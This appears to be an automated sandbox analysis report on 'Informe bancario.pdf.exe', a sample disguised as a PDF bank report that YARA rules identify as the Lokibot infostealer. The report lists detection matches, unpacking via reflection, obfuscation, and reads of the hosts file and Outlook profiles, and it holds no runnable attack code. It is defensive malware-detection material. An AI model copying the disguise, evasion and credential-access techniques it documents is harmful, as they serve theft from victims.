Source: 5.0.Informe bancario.pdf.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.0.Informe bancario.pdf.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.Informe bancario.pdf.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 5.2.Informe bancario.pdf.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.2.Informe bancario.pdf.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.Informe bancario.pdf.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 5.0.Informe bancario.pdf.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 5.0.Informe bancario.pdf.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.0.Informe bancario.pdf.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Informe bancario.pdf.exe.29d4fd4.3.raw.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0.2.Informe bancario.pdf.exe.29d4fd4.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0.2.Informe bancario.pdf.exe.29d4fd4.3.raw.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Informe bancario.pdf.exe.29d4fd4.3.raw.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.Informe bancario.pdf.exe.400000.14.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 5.0.Informe bancario.pdf.exe.400000.14.raw.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.0.Informe bancario.pdf.exe.400000.14.raw.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.Informe bancario.pdf.exe.400000.10.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 5.2.Informe bancario.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 5.2.Informe bancario.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.2.Informe bancario.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.Informe bancario.pdf.exe.400000.10.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 5.0.Informe bancario.pdf.exe.400000.10.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.0.Informe bancario.pdf.exe.400000.10.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Informe bancario.pdf.exe.39dfee0.9.raw.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0.2.Informe bancario.pdf.exe.39dfee0.9.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0.2.Informe bancario.pdf.exe.39dfee0.9.raw.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Informe bancario.pdf.exe.39dfee0.9.raw.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Informe bancario.pdf.exe.2860464.4.raw.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0.2.Informe bancario.pdf.exe.2860464.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0.2.Informe bancario.pdf.exe.2860464.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
Source: 0.2.Informe bancario.pdf.exe.2860464.4.raw.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Informe bancario.pdf.exe.2860464.4.raw.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.289365771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000005.00000000.289365771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000005.00000000.289365771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.293340629.00000000039C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.289020067.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000005.00000000.289020067.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000005.00000000.289020067.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.523674646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000005.00000002.523674646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000005.00000002.523674646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.288685837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000005.00000000.288685837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000005.00000000.288685837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.288344721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000005.00000000.288344721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000005.00000000.288344721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.292486343.0000000002858000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.293368296.00000000039F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Detected potential crypto function
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_004BA841 0_2_004BA841
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_004BA641 0_2_004BA641
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_004BA276 0_2_004BA276
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_004BA141 0_2_004BA141
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_004BA541 0_2_004BA541
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_004BA741 0_2_004BA741
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_004BA96F 0_2_004BA96F
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_004BA36E 0_2_004BA36E
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_00E3E2E0 0_2_00E3E2E0
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_00E3E2F0 0_2_00E3E2F0
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_00E3C37C 0_2_00E3C37C
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_0523B6FF 0_2_0523B6FF
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_05239F6E 0_2_05239F6E
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_05239F74 0_2_05239F74
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 4_2_002BA276 4_2_002BA276
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 4_2_002BA841 4_2_002BA841
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 4_2_002BA641 4_2_002BA641
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 4_2_002BA96F 4_2_002BA96F
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 4_2_002BA36E 4_2_002BA36E
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 4_2_002BA141 4_2_002BA141
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 4_2_002BA541 4_2_002BA541
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 4_2_002BA741 4_2_002BA741
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_0040549C 5_2_0040549C
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_004029D4 5_2_004029D4
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_006EA841 5_2_006EA841
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_006EA96F 5_2_006EA96F
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_006EA141 5_2_006EA141
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_006EA541 5_2_006EA541
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_006EA276 5_2_006EA276
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_006EA641 5_2_006EA641
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_006EA36E 5_2_006EA36E
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_006EA741 5_2_006EA741
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: String function: 0041219C appears 45 times
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: String function: 00405B6F appears 42 times
Sample file is different than original file name gathered from version info
Source: Informe bancario.pdf.exe, 00000000.00000002.291866815.000000000052C000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameExtensibleClassFact.exeL vs Informe bancario.pdf.exe
Source: Informe bancario.pdf.exe, 00000000.00000002.292486343.0000000002858000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameNativeVariant.dll" vs Informe bancario.pdf.exe
Source: Informe bancario.pdf.exe, 00000000.00000002.292778532.0000000003799000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameTweenEngineAPI.dllD vs Informe bancario.pdf.exe
Source: Informe bancario.pdf.exe, 00000000.00000002.292409069.0000000002791000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameCloneHelper.dll4 vs Informe bancario.pdf.exe
Source: Informe bancario.pdf.exe, 00000000.00000002.296271588.0000000006DC0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameCloneHelper.dll4 vs Informe bancario.pdf.exe
Source: Informe bancario.pdf.exe, 00000000.00000002.296458212.0000000006F70000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameTweenEngineAPI.dllD vs Informe bancario.pdf.exe
Source: Informe bancario.pdf.exe, 00000000.00000002.292050279.0000000000C08000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs Informe bancario.pdf.exe
Source: Informe bancario.pdf.exe, 00000000.00000002.296387769.0000000006DF0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameNativeVariant.dll" vs Informe bancario.pdf.exe
Source: Informe bancario.pdf.exe, 00000004.00000000.276402608.000000000032C000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameExtensibleClassFact.exeL vs Informe bancario.pdf.exe
Source: Informe bancario.pdf.exe, 00000005.00000000.286119009.000000000075C000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameExtensibleClassFact.exeL vs Informe bancario.pdf.exe
Source: Informe bancario.pdf.exe Binary or memory string: OriginalFilenameExtensibleClassFact.exeL vs Informe bancario.pdf.exe
Source: Informe bancario.pdf.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Informe bancario.pdf.exe Virustotal: Detection: 29%
Source: Informe bancario.pdf.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\Informe bancario.pdf.exe "C:\Users\user\Desktop\Informe bancario.pdf.exe"
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process created: C:\Users\user\Desktop\Informe bancario.pdf.exe C:\Users\user\Desktop\Informe bancario.pdf.exe
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process created: C:\Users\user\Desktop\Informe bancario.pdf.exe C:\Users\user\Desktop\Informe bancario.pdf.exe
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process created: C:\Users\user\Desktop\Informe bancario.pdf.exe C:\Users\user\Desktop\Informe bancario.pdf.exe Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Process created: C:\Users\user\Desktop\Informe bancario.pdf.exe C:\Users\user\Desktop\Informe bancario.pdf.exe Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges, 5_2_0040650A
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Informe bancario.pdf.exe.log Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@5/3@46/2
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_0040434D CoInitialize,CoCreateInstance,VariantInit,SysAllocString,VariantInit,VariantInit,SysAllocString,VariantInit,SysFreeString,SysFreeString,CoUninitialize, 5_2_0040434D
Source: Informe bancario.pdf.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Mutant created: \Sessions\1\BaseNamedObjects\8F9C4E9C79A3B52B3F739430
Source: Informe bancario.pdf.exe, Main.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.0.Informe bancario.pdf.exe.4b0000.0.unpack, Main.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.Informe bancario.pdf.exe.4b0000.0.unpack, Main.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.0.Informe bancario.pdf.exe.2b0000.3.unpack, Main.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.2.Informe bancario.pdf.exe.2b0000.0.unpack, Main.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.0.Informe bancario.pdf.exe.2b0000.2.unpack, Main.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook Jump to behavior
Source: Informe bancario.pdf.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: Informe bancario.pdf.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation
barindex
Yara detected aPLib compressed binary
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.39c40c0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.39f9f00.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.29dc220.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.12.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.39dfee0.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.14.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.39f9f00.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.Informe bancario.pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.29d4fd4.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.14.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.Informe bancario.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.Informe bancario.pdf.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.39dfee0.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Informe bancario.pdf.exe.2860464.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000000.289365771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.293340629.00000000039C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.289020067.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.523674646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.288685837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.288344721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.292486343.0000000002858000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.293368296.00000000039F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Informe bancario.pdf.exe PID: 6496, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: Informe bancario.pdf.exe PID: 6824, type: MEMORYSTR
.NET source code contains potential unpacker
Source: Informe bancario.pdf.exe, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.Informe bancario.pdf.exe.4b0000.0.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.2.Informe bancario.pdf.exe.4b0000.0.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.Informe bancario.pdf.exe.2b0000.3.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.2.Informe bancario.pdf.exe.2b0000.0.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.Informe bancario.pdf.exe.2b0000.2.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.Informe bancario.pdf.exe.2b0000.0.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.Informe bancario.pdf.exe.2b0000.1.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.Informe bancario.pdf.exe.6e0000.7.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.Informe bancario.pdf.exe.6e0000.13.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.Informe bancario.pdf.exe.6e0000.9.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.Informe bancario.pdf.exe.6e0000.15.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.Informe bancario.pdf.exe.6e0000.2.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.Informe bancario.pdf.exe.6e0000.1.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.2.Informe bancario.pdf.exe.6e0000.1.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.Informe bancario.pdf.exe.6e0000.11.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.Informe bancario.pdf.exe.6e0000.5.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.Informe bancario.pdf.exe.6e0000.3.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.Informe bancario.pdf.exe.6e0000.0.unpack, Main.cs .Net Code: THAI04 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_00E3C4F4 push esp; iretd 0_2_00E3F571
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_00E36940 push 9F9C0266h; iretd 0_2_00E36946
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_00E36910 push 9DDC0266h; iretd 0_2_00E3691E
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_00E3EC28 push esp; retf 0_2_00E3EC29
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 0_2_05239FDC push 1000005Eh; iretd 0_2_05239FE1
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_00402AC0 push eax; ret 5_2_00402AD4
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_00402AC0 push eax; ret 5_2_00402AFC
Source: initial sample Static PE information: section name: .text entropy: 7.621462978207712

